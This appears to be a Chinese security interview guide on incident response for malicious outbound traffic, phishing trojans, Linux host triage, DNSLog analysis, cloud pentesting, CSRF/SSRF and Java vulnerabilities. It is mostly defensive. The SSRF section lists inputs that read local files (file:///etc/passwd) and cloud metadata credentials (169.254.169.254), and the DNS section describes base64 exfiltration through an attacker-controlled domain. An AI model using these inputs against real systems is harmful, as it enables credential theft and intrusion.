1. 恶意外联,排查思路?
场景描述: 你发现公司内网(或服务器)有主机在与已知的恶意 IP 地址、域名或命令控制服务器 (C2) 进行通信。
排查目标: 找到发起外联的源头(哪个主机的哪个进程),确定外联的目的地和意图,评估影响,进行处置。
详细排查思路:
确认信息和初步定位:
获取告警/日志细节:
- 源 IP 地址: 是哪台内网机器发起的连接?
- 目标 IP 地址/域名: 连接到哪个外部地址?
- 目标端口: 使用哪个端口进行通信?(例如 80/443 常规 Web,还是其他可疑端口?)
- 协议: 使用什么协议? (TCP, UDP, ICMP, DNS 等)
- 时间戳: 外联发生的确切时间?是持续性的还是偶发性的?
- 数据量: 传输了多少数据?(少量心跳包?大量数据外泄?)
信息来源:
这些信息通常来自哪里?
- 防火墙 (Firewall) / 下一代防火墙 (NGFW): 记录了出站连接尝试。
- 入侵检测/防御系统 (IDS/IPS): 检测到恶意流量模式或已知恶意 IP/域名的连接。
- 安全信息和事件管理平台 (SIEM): 关联了多个来源的日志,触发了告警。
- 网络流量分析 (NTA) 工具: 监控和分析网络流量。
- 终端检测与响应 (EDR) 平台: 直接在终端上检测到可疑网络活动。
分析目标地址:
- 威胁情报查询: 将目标 IP 地址或域名输入到威胁情报平台(如 VirusTotal, ThreatBook, 微步在线, AlienVault OTX 等)查询其信誉。确认它是否是已知的恶意软件 C2 服务器、钓鱼网站、扫描器等。
- WHOIS 查询: 查询域名的注册信息和 IP 地址的归属信息。
- 反向 DNS 查询: 查看 IP 地址是否关联了特定的域名。
定位内网源主机:
根据源 IP 地址:
- 如果是静态分配的 IP,直接找到对应的服务器或设备。
- 如果是 DHCP 分配的 IP,需要查询 DHCP 服务器的日志,根据外联发生的时间戳找到当时使用该 IP 的主机的 MAC 地址和主机名。
- 根据 MAC 地址在交换机上查询对应的物理端口,或在资产管理系统中查找对应的主机。
登录源主机进行详细排查(关键步骤):
- 隔离(可选但推荐): 在不影响业务的前提下,考虑先将该主机从网络中隔离(拔网线或配置网络访问控制),防止恶意软件进一步扩散或通信。
查找恶意进程:
实时网络连接:
- Windows:
netstat -ano
(查看所有连接、监听端口、对应的进程 ID (PID))。找到与恶意外联目标 IP/端口匹配的连接,记下其 PID。 - Linux:
netstat -antup
或ss -antup
(类似功能,显示 PID 和进程名)。找到对应的 PID。
- Windows:
关联进程:
- Windows: 使用任务管理器 (Task Manager) 或更强大的 Process Explorer (Sysinternals Suite 工具),根据 PID 找到对应的进程名、可执行文件路径、启动参数、父进程等。
- Linux: 使用
ps aux | grep <PID>
或ps -fp <PID>
查看进程详细信息(用户、启动命令、路径等)。使用ls -l /proc/<PID>/exe
查看可执行文件路径,ls -l /proc/<PID>/cwd
查看当前工作目录。
分析可疑进程:
- 进程路径和名称: 是否位于不寻常的目录(如临时文件夹、用户下载目录)?进程名是否伪装成系统进程(例如 svch0st.exe)?
- 数字签名: (Windows) 检查可执行文件是否有有效的数字签名。
- 文件 Hash: 计算可执行文件的 MD5/SHA256 哈希值,再次提交到威胁情报平台进行分析。
- 父进程: 它是如何启动的?是被正常程序调用,还是由可疑的父进程启动?
- 资源占用: CPU、内存、网络占用是否异常?
检查持久化机制:
恶意软件通常会设置持久化以在系统重启后继续运行。
- Windows: 检查注册表启动项 (
Run
,RunOnce
等键)、计划任务 (Task Scheduler)、服务 (Services)、启动文件夹。推荐使用 Autoruns (Sysinternals Suite 工具) 全面检查。 - Linux: 检查
cron
定时任务 (crontab -l
,/etc/cron.*
)、systemd
服务 (systemctl list-unit-files --type=service
)、rc
脚本 (/etc/init.d/
,/etc/rc.local
)、用户配置文件 (.bashrc
,.profile
) 中有无可疑条目。
- Windows: 检查注册表启动项 (
检查可疑文件:
- 根据进程分析找到的相关文件。
- 检查系统临时目录、用户下载目录、最近修改的文件。
- 使用
find
(Linux) 或dir /T:C /O:-D
(Windows,按创建时间排序) 等命令查找可疑时间段内创建或修改的文件。
查看日志:
- 系统日志(Windows Event Logs, Linux /var/log/syslog, /var/log/auth.log 等)。
- 应用程序日志。
- 安全软件日志 (AV, EDR)。
处置与恢复:
- 终止恶意进程。
- 清除恶意文件和持久化项。
- 修复被篡改的配置。
- 全盘查杀: 使用最新的防病毒软件进行全盘扫描。
- 修改密码: 如果怀疑凭据泄露,修改该主机及可能受影响用户的密码。
- 必要时重装系统: 如果感染严重或无法彻底清除,最安全的方法是备份数据后重装系统。
- 恢复网络连接并监控: 清理干净后,重新接入网络并持续监控一段时间,确保没有复发。
总结与报告:
- 记录整个排查过程、发现、处置方法。
- 分析根本原因(如何被感染的?)。
- 提出改进建议(加强边界防护、终端安全、用户培训等)。
2. 办公网电脑看历史命令?
场景描述: 需要查看某台办公网 Windows 电脑上用户执行过的命令,通常是为了审计、排查问题或安全调查。
详细方法:
CMD (命令提示符) 历史:
- 当前会话历史: 在打开的 CMD 窗口中,按
F7
键可以弹出当前会话的历史命令列表。或者使用doskey /history
命令显示。 缺点:
- 默认不持久化保存。关闭 CMD 窗口后,该窗口的历史记录通常就丢失了。
- 每个 CMD 窗口的历史是独立的。
- 用户可以轻易清除 (
Alt+F7
) 或禁用历史记录。
- 潜在的持久化文件(不常用,依赖特定配置或工具): 某些环境下可能有工具或配置将
doskey
历史保存到文件,但这并非 Windows 默认行为。
- 当前会话历史: 在打开的 CMD 窗口中,按
PowerShell 历史:
- 当前会话历史: 在打开的 PowerShell 窗口中,使用
Get-History
(或别名h
,history
) 命令查看当前会话的历史命令。 持久化历史文件:
PowerShell (特别是较新版本带 PSReadLine 模块的) 会默认将历史命令记录到一个文件中。
- 文件路径通常是:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
(具体路径可能因 PowerShell 版本和配置略有不同)。你可以直接用文本编辑器打开这个文件查看。 - 优点: 默认开启,跨会话保存,记录相对完整。
- 缺点: 用户可以手动删除该文件,或者通过配置禁用历史记录 (
Set-PSReadLineOption -HistorySaveStyle SaveNothing
)。
- 文件路径通常是:
- 获取历史文件路径的命令:
(Get-PSReadLineOption).HistorySavePath
- 当前会话历史: 在打开的 PowerShell 窗口中,使用
Windows 事件日志 (Event Log) - 进程创建日志:
前提条件:
需要在组策略 (Group Policy) 中启用 "审核进程创建" (Audit Process Creation) 以及 "在进程创建事件中包括命令行" (Include command line in process creation events)。
- 策略路径:
计算机配置 -> Windows 设置 -> 安全设置 -> 高级审核策略配置 -> 系统审核策略 -> 详细跟踪
(Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> System Audit Policies -> Detailed Trac1king)。
- 策略路径:
查看方法:
- 打开 "事件查看器" (Event Viewer)。
- 导航到
Windows 日志 -> 安全
(Windows Logs -> Security)。 - 筛选事件 ID
4688
(进程创建)。
- 内容: 每个
4688
事件会记录哪个用户启动了哪个进程 (新进程名称
),以及(如果开启了命令行审计)完整的命令行参数 (进程命令行
)。 - 优点: 相对可靠,不易被普通用户篡改(需要管理员权限清除日志),记录了所有通过命令行启动的进程,不仅仅是交互式 shell 命令。
缺点:
- 需要提前配置审计策略,否则不会记录。
- 日志量可能很大,需要有效筛选。
- 它记录的是进程启动,而不是用户在 CMD 或 PowerShell 交互界面输入的每一条命令(例如
cd
,dir
这些内置命令可能不会作为单独进程启动,就不会有 4688 事件)。但执行外部程序(如ping.exe
,notepad.exe
)会记录。
第三方工具/EDR:
- 很多终端安全软件 (EDR - Endpoint Detection and Response) 会记录详细的进程活动和命令行历史,通常提供更方便的查询界面和更长的保存时间。如果公司部署了这类工具,应首先考虑使用它们进行查询。
总结: 对于办公网 Windows 电脑:
- 查 PowerShell 历史文件 (
ConsoleHost_history.txt
) 是最直接的方法,看用户交互式执行了什么。 - 查 Windows 事件日志
4688
(需提前开启命令行审计)是更全面、更可靠的方法,看系统实际启动了哪些进程及其参数。 - CMD 的历史记录非常有限,基本不可靠。
- EDR 等专业工具提供最佳的可见性。
3. 钓鱼外联中了木马,排查思路?
场景描述: 用户报告点击了钓鱼邮件/链接/附件,之后电脑行为异常,并且安全设备检测到该电脑有恶意外联(可能是连向 C2 服务器)。
排查目标: 确认感染,理解木马行为,清除木马,防止进一步损害,找到初始入侵向量。
详细排查思路(这是一个典型的应急响应过程):
准备 (Preparation): (理想情况下,平时就应该准备好)
- 应急响应计划、联系人列表。
- 取证工具(如 Sysinternals Suite, Wireshark, Volatility 等)。
- 干净的 U 盘、移动硬盘。
- 日志系统(SIEM, 防火墙日志, 代理日志, DNS 日志, EDR 日志等)。
识别 (Identification):
确认告警/报告:
- 用户报告的具体情况(收到的邮件、点击的链接/附件、发生的时间、出现的异常现象)。
- 网络告警(如 Q1 中提到的恶意外联告警)的详细信息(源 IP、目标 IP/域名/端口、协议、时间)。
- 终端告警(杀毒软件报毒、EDR 告警)。
- 初步判断: 结合用户报告和告警信息,初步判断感染的可能性、感染时间和潜在的木马类型。
遏制 (Containment): 非常重要的一步!
立即隔离受感染主机:
- 物理断网(拔掉网线)。
- 逻辑隔离(在交换机上禁用端口、将其划分到隔离 VLAN、使用 EDR 的隔离功能)。
- 目的: 防止木马横向移动感染其他机器,阻止与 C2 服务器的通信(数据外泄、接收新指令)。
- 注意: 隔离前考虑是否需要抓取内存镜像(用于后续深入分析),因为断电或关机会导致内存信息丢失。但优先考虑阻止危害扩大。
根除 (Eradication): 在隔离的主机上进行详细分析和清除。
- 内存分析 (如果抓取了镜像): 使用 Volatility 等工具分析内存镜像,可以找到正在运行的恶意进程、网络连接、注入的代码、加载的DLL、命令行历史等,即使恶意软件试图隐藏自己。
主机分析 (核心步骤,类似 Q1 的主机排查):
- 查找恶意进程和网络连接: 使用
netstat -ano
,tasklist
, Process Explorer,ps
,ss
等工具,重点关注那些与外联告警匹配的连接,以及看起来可疑(名称、路径、无签名、CPU/内存占用异常)的进程。 - 分析启动项和持久化: 使用 Autoruns (Win) 或手动检查
cron
,systemd
,rc
脚本 (Linux) 等,查找木马设置的自启动项。 文件系统分析:
- 根据进程/启动项找到的恶意文件路径。
- 检查用户下载目录、临时目录、回收站。
- 查找在感染时间点附近创建或修改的文件。
- 对可疑文件进行 Hash 计算,提交到威胁情报平台。
- 使用
strings
命令查看可执行文件中的可疑字符串(IP, 域名, 命令)。
- 日志分析: 检查系统日志、安全日志、应用程序日志、浏览器历史记录、PowerShell 历史记录等,寻找与感染事件相关的线索(例如,用户下载并运行了某个文件,某个进程在特定时间启动)。
- 获取原始钓鱼样本: 如果可能,找到用户收到的钓鱼邮件或点击的链接/文件,进行分析(注意安全,在沙箱中进行)。了解攻击者使用的技术和诱饵。
- 查找恶意进程和网络连接: 使用
清除操作:
- 终止恶意进程。
- 删除恶意文件。
- 移除持久化机制。
- 修复被篡改的系统设置。
恢复 (Recovery):
系统重建:
对于中了木马的主机,最安全可靠的方式是:
- 备份用户数据(确保数据本身没有被感染或加密)。
- 完全格式化硬盘。
- 重新安装干净的操作系统和应用程序。
- 恢复用户数据。
- 打上所有安全补丁。
- 凭据重置: 强制用户修改密码,特别是该用户在受感染机器上登录过的所有账户密码。如果怀疑域凭据泄露,可能需要重置域用户甚至 krbtgt 账户密码。
- 重新接入网络和监控: 确认系统干净后,重新接入生产网络,并对其进行密切监控一段时间,确保没有残留或再次感染。
事后总结 (Lessons Learned):
- 编写事件报告:时间线、影响范围、技术细节、处置过程。
- 分析根本原因:为什么钓鱼成功了?是邮件过滤问题?用户意识不足?终端防护缺失?
- 改进措施:加强邮件安全网关策略、部署更强的终端防护 (EDR)、进行针对性的用户安全意识培训、完善补丁管理流程、改进应急响应流程等。
4. Linux 上机排查思路,应用恶意外联?
场景描述: 你登录到一台 Linux 服务器上,需要排查一个正在运行的应用(或未知进程)发起的恶意外联。
排查目标: 找到发起外联的具体进程,分析其行为、来源和目的,清除威胁。
详细排查思路(侧重 Linux 命令和工具):
识别可疑网络连接:
ss -antup | grep ESTAB
: 查看当前建立的 TCP 连接,包括源/目标 IP 和端口,以及对应的进程信息 (PID/进程名)。重点关注连接到可疑外部 IP 的连接。netstat -antup | grep ESTAB
: 功能类似ss
,是比较传统的命令。lsof -i
: 列出所有打开网络连接的文件描述符及其对应的进程。可以用lsof -i :<端口号>
或lsof -i @<目标IP>
进行过滤。- 目标: 找到与恶意外联相关的连接,并记下其 PID。
分析可疑进程:
获取进程信息:
假设找到的可疑 PID 是
12345
。
ps -fp 12345
: 查看进程的详细信息,包括 UID (用户)、PPID (父进程 ID)、启动时间、完整的命令行 (CMD
)。ps aux | grep 12345
: 提供另一种格式的进程信息。
定位可执行文件:
ls -l /proc/12345/exe
: 显示该 PID 对应的可执行文件的实际路径(即使文件在磁盘上被删除了,这里可能仍然指向(deleted)
,但能提供线索)。
查看进程工作目录:
ls -l /proc/12345/cwd
: 显示进程启动时所在的目录。恶意软件可能在这里放置了其他文件。
查看进程打开的文件:
lsof -p 12345
: 列出该进程打开的所有文件,包括库文件、配置文件、日志文件以及网络连接。这有助于了解进程在读写哪些文件,与哪些主机通信。
查看进程环境变量:
cat /proc/12345/environ | tr '\0' '\n'
: 查看进程运行时的环境变量,有时可能包含配置信息或敏感数据。
- 分析父进程: 查看 PPID,使用
ps -fp <PPID>
分析父进程。是正常的系统服务启动的?还是由cron
启动的?或是由另一个可疑进程启动的?
分析可疑文件:
- 文件类型:
file /path/to/suspicious_executable
: 判断文件类型(ELF 可执行文件、脚本文件等)。 - Hash校验:
md5sum /path/to/suspicious_executable
和sha256sum /path/to/suspicious_executable
计算 Hash 值,提交到威胁情报平台查询。 - 查看字符串:
strings /path/to/suspicious_executable | less
: 查看文件中包含的可打印字符串,可能会发现硬编码的 IP 地址、域名、命令、注释等线索。 - 检查配置文件: 如果该进程是一个应用,检查其配置文件(可能在
/etc/
,/usr/local/etc/
, 进程cwd
目录或用户家目录下),看是否有被篡改的迹象(例如指向恶意地址的配置)。 - 检查脚本文件: 如果是脚本(Shell, Python, Perl 等),直接阅读源代码分析其逻辑。
- 文件类型:
检查持久化机制:
crontab -l
(检查当前用户和 root 用户的定时任务)。- 检查
/etc/cron.*
目录下的定时任务脚本。 systemctl list-unit-files --type=service --state=enabled
: 查看已启用的 systemd 服务。检查/etc/systemd/system/
和/usr/lib/systemd/system/
下是否有可疑的服务单元文件。- 检查
/etc/init.d/
或/etc/rc*.d/
下的 SysVinit 风格的启动脚本。 - 检查用户的 shell 配置文件(如
~/.bashrc
,~/.profile
,/etc/profile
)是否被添加了恶意命令。 - 检查是否有隐藏的进程或服务(例如通过
ld.so.preload
劫持)。
检查系统日志:
/var/log/syslog
或/var/log/messages
: 系统全局日志。/var/log/auth.log
或/var/log/secure
: 认证和授权日志(SSH 登录、sudo 使用等)。- 应用自身日志(如
/var/log/nginx/
,/var/log/apache2/
, 应用自定义日志路径)。 last
: 查看最近登录系统的用户记录。lastlog
: 查看所有用户最后登录的信息。
时间线分析:
根据外联发生的时间,使用
find
命令查找该时间点前后被修改过的文件:
find / -mmin -60
(查找过去 60 分钟内被修改过的文件)find / -cmin -60
(查找过去 60 分钟内状态(权限等)被改变过的文件)find / -amin -60
(查找过去 60 分钟内被访问过的文件)- 结合
-user
或-group
参数缩小范围。
处置与恢复(同 Q3):
- 隔离主机。
- 终止恶意进程 (
kill <PID>
,kill -9 <PID>
)。 - 删除恶意文件和持久化项。
- 必要时从备份恢复或重装系统。
- 修改密码。
- 恢复服务并持续监控。
5. 云环境渗透会从哪些入手?
场景描述: 对部署在云平台(如 AWS, Azure, GCP)上的环境进行渗透测试。
入手点/攻击面(与传统内网渗透有相似之处,但更侧重云特有服务和配置):
信息收集与侦察 (Reconnaissance):
- 目标范围确认: 明确测试范围,哪些云账号、资源、服务在测试范围内。
- 子域名枚举: 寻找与目标相关的云服务接入点(如 Web 应用、API 网关)。
- IP 地址和端口扫描: 扫描目标分配到的公网 IP 段,寻找开放的端口和服务(如 EC2, VM, Load Balancer)。
- 对象存储枚举: 尝试发现公开的云存储桶/容器(如 AWS S3 buckets, Azure Blob containers, GCP Cloud Storage buckets)。使用工具或字典猜测常见的命名规则。
- 代码库扫描: 在 GitHub、GitLab 等公开代码库中搜索目标组织的名称、域名、员工姓名等,寻找可能泄露的访问密钥 (Access Keys)、API 密钥、配置文件、硬编码密码等。
- 云服务发现: 利用专门的云侦察工具(如 Cloud Mapper, Scout Suite 等,需要有一定权限或利用已知信息)或云提供商的 CLI/API 来识别目标环境中使用的服务类型和资源。
身份与访问管理 (IAM) 安全: 云环境的核心攻击面!
- 弱密码/默认密码: 尝试爆破云控制台登录、虚拟机 SSH/RDP、数据库等账户的密码。
- 泄露的访问密钥 (Access Keys / Service Principals / Service Accounts): 利用信息收集中找到的密钥,尝试通过 AWS CLI, Azure CLI, gcloud CLI 或 SDK 进行认证,查看其权限。
权限配置错误 (Overly Permissive Roles/Policies):
- 如果获得了一个低权限的密钥或用户访问权限,检查其附加的 IAM 策略/角色。
- 寻找是否有过高的权限(如
*:*
权限、对敏感服务如 IAM、KMS、Secrets Manager 的写权限)。 - 尝试利用已有权限进行权限提升(例如,有权限创建新策略并附加给自己,有权限启动可以附加高权限角色的新实例等)。
- 缺乏多因素认证 (MFA): 检查关键账户(尤其是根用户/全局管理员)是否启用了 MFA。
- 元数据服务利用 (Metadata Service Exploitation): (尤其 AWS EC2) 如果目标在云主机上部署的应用存在服务器端请求伪造 (SSRF) 漏洞,可以尝试访问实例元数据服务 (如
http://169.254.169.254/
) 来窃取附加到该实例的 IAM 角色凭证。
计算资源 (Compute) 安全:
虚拟机/实例 (EC2, Azure VM, GCE):
- 暴露的管理端口: 如 SSH (22), RDP (3389), WinRM (5985/5986) 是否对公网开放?是否存在弱口令或默认口令?
- 未打补丁的系统/应用漏洞: 对实例上运行的操作系统和应用程序进行漏洞扫描和利用(类似传统主机渗透)。
- 安全组/网络安全组 (Security Groups / NSGs) 配置不当: 是否允许了不必要的入站/出站流量?
容器 (Containers - EKS, AKS, GKE, Docker):
- 暴露的容器管理端口: 如 Docker daemon 端口 (2375/2376)、Kubernetes API Server (6443) 是否可被未经授权访问?
- 镜像漏洞: 使用存在已知漏洞的基础镜像或应用程序镜像。
- 容器逃逸: 利用内核漏洞或错误配置(如特权容器
--privileged
)从容器内部获取宿主机权限。 - K8s 配置错误: 如允许匿名访问 API Server、RBAC 权限配置不当等。
Serverless 函数 (Lambda, Azure Functions, Cloud Functions):
- 代码漏洞: 函数代码本身可能存在漏洞(如注入、不安全的反序列化)。
- 事件注入: 如果函数的触发器(如 API Gateway, S3 event)没有正确处理输入,可能导致命令注入或数据泄露。
- 执行角色权限过大: 函数被赋予了不必要的访问其他云资源的权限。
- 依赖库漏洞: 使用了存在漏洞的第三方库。
存储 (Storage) 安全:
对象存储 (S3, Blob Storage, GCS) 权限配置错误:
- 公开读/写: 存储桶/容器是否被错误地配置为允许公共访问?导致敏感数据泄露或被篡改/上传恶意文件。
- 访问控制列表 (ACL) / 存储桶策略 (Bucket Policy) 配置不当: 即使不是完全公开,也可能允许了非预期的账户或用户组访问。
- 数据加密: 存储的数据是否进行了静态加密?传输过程中是否使用了 TLS?
数据库 (Database) 安全:
云数据库服务 (RDS, Azure SQL DB, Cloud SQL):
- 网络可达性: 数据库实例是否不必要地暴露在公网?
- 弱密码/默认密码。
- 未加密连接。
- 权限配置不当。
- SQL 注入(通过连接的应用)。
网络配置安全:
- 安全组/NSG/防火墙规则过于宽松。
- VPC/VNet 配置: 子网路由、网络 ACLs (NACLs)、VPC Peering / Private Link 配置是否安全。
- 负载均衡器 (Load Balancer) 配置: 是否暴露了后端不应暴露的端口或信息?监听器安全策略是否足够强?
日志与监控缺失:
- 缺乏足够的日志记录(如 CloudTrail, CloudWatch Logs, Azure Monitor, Google Cloud Logging)使得攻击难以被发现和溯源。
- 没有配置有效的告警来及时发现可疑活动。
- 云平台自身漏洞(较少见,但存在): 利用云服务提供商自身软件或架构中可能存在的漏洞。
6. DNS log 是正常?误报?还是真实攻击?dns-log 被攻击的排查思路?
场景描述: 你在查看 DNS 查询日志(可能来自内部 DNS 服务器、防火墙或专门的 DNS 安全设备)时,发现有内网主机查询一个看起来可疑的域名,特别是像 *.dnslog.cn
, *.burpcollaborator.net
或其他随机性很强、无明确意义的子域名。
区分正常、误报与真实攻击:
什么是 DNSLog 平台?
- 像
dnslog.cn
或 Burp Suite 的 Collaborator 这类服务,提供一个公共或私有的 DNS 服务器。当有人查询指向这个服务器的特定子域名时(例如randomstring.yourid.dnslog.cn
),平台会记录下这次查询的来源 IP 和时间。 合法用途:
- 漏洞验证 (OOB - Out-of-Band): 安全测试人员(白帽子)或安全扫描器在测试某些无法直接看到回显的漏洞(如 Blind SSRF, Blind SQL Injection, Blind XXE, Log4Shell RCE 等)时,会构造一个 Payload,让目标服务器发起一次 DNS 查询到这个平台。如果平台收到了查询记录,就证明 Payload 成功触发,漏洞存在。这是最常见的“正常”或“测试”情况。
- 网络连接测试: 开发或运维人员有时用它快速测试某台机器是否能正常解析 DNS 并访问外网。
恶意用途:
- 数据外泄 (Data Exfiltration): 攻击者窃取数据后,将数据编码(如 Base64)放到子域名中(例如
base64data.attacker.controlled.domain.com
),然后通过大量 DNS 查询将数据偷偷传输出去。防火墙可能允许 DNS 流量,从而绕过检查。 - 命令与控制 (C2 Communication): 恶意软件通过查询特定格式的子域名来获取指令(可能编码在 TXT 记录或其他记录类型中)或发送心跳包表明自己在线。
- 恶意软件利用 OOB 验证: 恶意软件利用类似 Log4Shell 的漏洞进行攻击时,也会使用 DNSLog 来确认攻击是否成功。
- 数据外泄 (Data Exfiltration): 攻击者窃取数据后,将数据编码(如 Base64)放到子域名中(例如
- 像
判断步骤:
来源 IP 是谁?
- 是已知的安全扫描器 IP 地址?(例如 Nessus, Qualys 等)
- 是安全团队成员的测试机 IP?
- 是开发人员的机器?(可能在调试代码或测试)
- 是普通用户的办公电脑?(可疑度增加)
- 是生产环境的服务器?(高可疑度,除非有计划内测试)
查询的域名是什么?
- 是公共 OOB 测试平台域名 (
dnslog.cn
,burpcollaborator.net
,interact.sh
等)? -> 倾向于测试或扫描。 - 是一个完全未知、随机字符或看起来像自定义的域名? -> 可疑度高,可能是攻击者的私有 C2 或 DNSLog 平台。
- 是公共 OOB 测试平台域名 (
子域名结构是怎样的?
- 是一个固定的、无意义的随机字符串? -> 可能是简单的连通性测试或 OOB 验证 Ping。
- 包含了主机名、用户名、内网 IP 地址? -> 可能是信息探测。
- 包含了看起来像 Base64 或其他编码的长字符串? -> 极有可能是数据外泄。
- 结构随时间变化,像是在传递命令或状态? -> 可能是 C2 通信。
查询频率和时间?
- 是在已知的安全测试窗口期内? -> 可能是计划内活动。
- 是单次查询还是持续性、周期性的查询? -> 持续性查询更像是 C2 心跳或数据外泄。
- 查询量非常大? -> 可能是大规模数据外泄。
是否有伴随行为?
- 查询来源主机在相近时间是否有其他可疑活动?(例如,Web 访问日志显示有注入 Payload 的请求?EDR 报告了可疑进程执行?)
总结判断:
- 正常/误报(大概率): 来源是扫描器/安全测试人员,查询的是公共 OOB 平台,发生在测试窗口期,子域名无明显数据特征。 -> 处置: 确认是计划内活动即可,或优化扫描策略避免不必要的 OOB 请求。
- 真实攻击(可能性高): 来源是普通用户/服务器,查询的是未知域名或带有编码数据的子域名,持续性查询,或伴随其他告警。 -> 处置: 进入应急响应流程。
DNSLog 被攻击的排查思路(假设已判断为真实攻击):
- 定位源头主机: 通过 DNS 日志中的源 IP 地址,找到发起查询的具体内网主机(方法同 Q1/Q3)。
- 隔离主机: 立即将该主机进行网络隔离。
主机排查:
找到发起 DNS 查询的进程:
- 使用
netstat
,ss
,lsof -i:53
(如果直连外部 DNS) 或检查本地 DNS Client 服务日志。 - 在 Windows 上可以用 Sysmon 监控 DNS 查询事件 (Event ID 22),可以直接关联进程。
- EDR 工具通常能直接显示哪个进程发起了 DNS 查询。
- 使用
- 分析该进程: 它是恶意软件?还是被漏洞利用的正常应用(如存在 Log4Shell 的 Java 应用)?进行详细的进程、文件、持久化分析(参考 Q1/Q3/Q4 的主机排查步骤)。
- 数据外泄场景: 寻找哪个进程在读取敏感文件/数据,并构造 DNS 查询。检查脚本、历史命令、恶意软件代码。
- C2 通信场景: 分析恶意软件的网络模块,看它如何编码/解码 DNS 查询和响应中的指令。
- 漏洞利用 OOB 场景: 查找被利用的漏洞。检查 Web 服务器日志、应用日志,找到触发 OOB 请求的原始恶意输入 (Payload)。
- 网络层面阻断: 在防火墙或 DNS 服务器上,阻止对该恶意域名(通常是其主域名,如
*.attacker.controlled.domain.com
)的查询或解析。 - 根除与恢复: 清除恶意软件,修复被利用的漏洞,恢复系统(参考 Q3/Q4)。
- 溯源与总结: 分析入侵途径,是钓鱼?漏洞利用?弱口令?改进防御策略。
7. CSRF 攻击面?比较大的攻击?SSRF 能做到什么攻击效果?
CSRF (Cross-Site Request Forgery / 跨站请求伪造):
- 攻击原理: 攻击者诱导一个已经登录了目标网站 A 的用户,去访问一个包含恶意代码的网站 B(或点击一个恶意链接/图片)。网站 B 上的代码会强迫用户的浏览器向网站 A 发送一个请求(例如修改密码、转账等)。因为这个请求是用户浏览器发出的,并且会自动带上网站 A 的有效 Cookie (Session ID),所以网站 A 会误以为这是用户本人自愿的操作,从而执行该请求。
攻击面 (Attack Surface):
- 所有需要用户登录后才能执行的状态变更操作 (State-Changing Operations)。
- 这些操作仅依赖 Cookie (或其他浏览器自动发送的认证机制如 HTTP Basic Auth) 来验证用户身份,没有使用额外的、不可预测的令牌(Anti-CSRF Token)来验证请求的来源。
常见例子:
- 修改用户个人信息(密码、邮箱、电话)
- 执行金融操作(转账、购买商品)
- 发布/删除/修改内容(发帖、删帖、点赞、加好友)
- 更改账户权限或设置
- 对后台管理功能的操作(添加/删除用户、修改配置)
比较大的攻击 (Significant Impact):
- 账户接管: 修改用户密码或邮箱,导致攻击者可以完全控制用户账户。
- 资金窃取: 在购物网站或银行网站上替用户进行支付或转账。
- 蠕虫传播: 在社交网站上替用户自动发送包含恶意链接的消息或帖子,感染更多用户。
- 后台管理权限滥用: 如果管理员账户受到 CSRF 攻击,可能导致添加恶意管理员、修改全局设置、获取敏感数据等严重后果。
- 数据破坏: 批量删除用户的重要数据。
- 关键在于: CSRF 攻击的危害程度,直接取决于被伪造的那个请求本身能做什么操作。
SSRF (Server-Side Request Forgery / 服务器端请求伪造):
- 攻击原理: 攻击者发现一个 Web 应用的功能点,该功能点会根据用户输入(通常是 URL 或部分 URL)去从服务器后端发起一个新的 HTTP 请求到用户指定的地址。攻击者通过构造恶意的 URL,使得服务器代替攻击者去访问其无法直接访问的资源。
攻击面 (Attack Surface):
- 任何需要根据用户输入去获取远程资源的功能。
常见例子:
- URL 预览/内容抓取: 分享链接时自动生成标题和图片预览。
- 图片/文件处理: 从 URL 加载图片进行处理(缩放、加水印),从 URL 下载文件,导入网络资源。
- Webhooks/API 调用: 调用用户指定的回调 URL,与其他 Web 服务集成。
- PDF/文档生成器: 根据用户提供的 URL 生成 PDF。
- 后台管理功能: 某些需要从指定 URL 拉取配置或数据的管理接口。
能做到什么攻击效果 (Attack Effects):
探测内网 (Internal Network Scanning):
- 攻击者无法直接访问的内网 IP 和端口。可以构造
http://192.168.x.x:port
,http://10.x.x.x:port
,http://localhost:port
等 URL,根据服务器的响应时间、错误信息来判断内网主机和端口的开放状态。
- 攻击者无法直接访问的内网 IP 和端口。可以构造
攻击内网应用 (Attacking Internal Services):
- 访问内网中没有做严格认证的 Web 应用(如内部管理后台、监控系统 Grafana/Zabbix、开发工具 Jenkins/GitLab、数据库管理界面 phpMyAdmin)。
- 可以读取这些应用的敏感信息,甚至利用这些内网应用自身的漏洞进行进一步攻击(例如,访问一个未授权的 Redis 端口并执行命令,访问未授权的 JBoss JMX 控制台执行代码)。
读取服务器本地文件 (Reading Local Files):
- 如果服务器端的 HTTP 客户端库支持
file://
协议,可以构造file:///etc/passwd
,file:///proc/self/cmdline
,file:///c:/windows/win.ini
等 URL 来读取服务器上的敏感文件。
- 如果服务器端的 HTTP 客户端库支持
云环境下的元数据窃取 (Cloud Metadata Theft):
(非常关键!)
- 在 AWS, GCP, Azure 等云环境中,虚拟机实例可以通过访问一个特殊的内网地址(如 AWS 的
http://169.254.169.254/latest/meta-data/
)获取实例的元数据,其中可能包含临时的访问凭证 (IAM Role Credentials)。攻击者利用 SSRF 让服务器访问这个地址,就能窃取到这些高权限凭证,进而控制更多的云资源。
- 在 AWS, GCP, Azure 等云环境中,虚拟机实例可以通过访问一个特殊的内网地址(如 AWS 的
可能导致远程代码执行 (Potential RCE):
- 如果能访问到内网中存在 RCE 漏洞的服务(如某些版本的 Redis, Elasticsearch, Jenkins),可以通过 SSRF 构造请求来触发这些 RCE 漏洞。
拒绝服务 (Denial of Service - DoS):
- 让服务器去请求一个会返回巨大响应的资源,耗尽服务器资源。
- 让服务器不断请求自己(
http://localhost:port
),形成请求循环。
核心区别:
- CSRF 是服务器信任了来自用户浏览器的请求(利用用户的身份)。
- SSRF 是服务器信任了用户提供的 URL,并代替用户(以服务器的身份)发起了请求。
8. Java 框架有什么典型漏洞?Java 内存马分析工具和流量特征?内存马排查处置思路?
Java 框架典型漏洞:
Java 生态庞大,漏洞种类繁多,以下是一些非常经典和常见的类型:
远程代码执行 (RCE):
- 反序列化 (Deserialization): 最臭名昭著的一类。当应用接收并反序列化来自不受信任来源的数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中利用 "gadget chains"(存在于常用库如 Apache Commons Collections, Fastjson <1.2.48, Jackson, WebLogic T3/IIOP 协议等)来执行任意代码。
- 表达式语言注入 (EL Injection): 在 Struts2 (OGNL 表达式) 和 Spring (SpEL 表达式) 中较为常见。如果将用户输入直接拼接到表达式中执行,攻击者可以构造恶意表达式来执行代码。
